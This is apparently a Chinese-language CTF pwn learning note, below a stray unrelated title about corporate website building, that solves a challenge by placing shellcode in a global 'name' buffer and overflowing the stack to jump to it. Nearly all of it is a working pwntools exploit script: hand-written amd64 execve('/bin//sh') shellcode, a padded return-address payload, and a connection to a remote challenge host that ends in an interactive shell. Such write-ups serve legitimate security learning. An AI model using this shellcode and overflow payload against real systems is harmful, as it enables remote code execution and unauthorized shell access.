企业官网建设流程全解析

第一次打CTF——PWN篇学习笔记18

向name中注入shellcode再栈溢出返回到该地址执行即可，注意shellcode长度不能超过0x25

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./pwn') io = remote("node4.anna.nssctf.cn",28141) ​ shellcode = asm(''' xor rsi, rsi push rsi mov rdi, 0x68732f2f6e69622f push rdi mov rdi, rsp xor rdx, rdx mov rax, 0x3b syscall ''') ​ io.sendline(shellcode) ​ name = 0x6010A0 ​ payload = cyclic(0xA + 8) + p64(name) ​ io.sendline(payload) ​ io.interactive()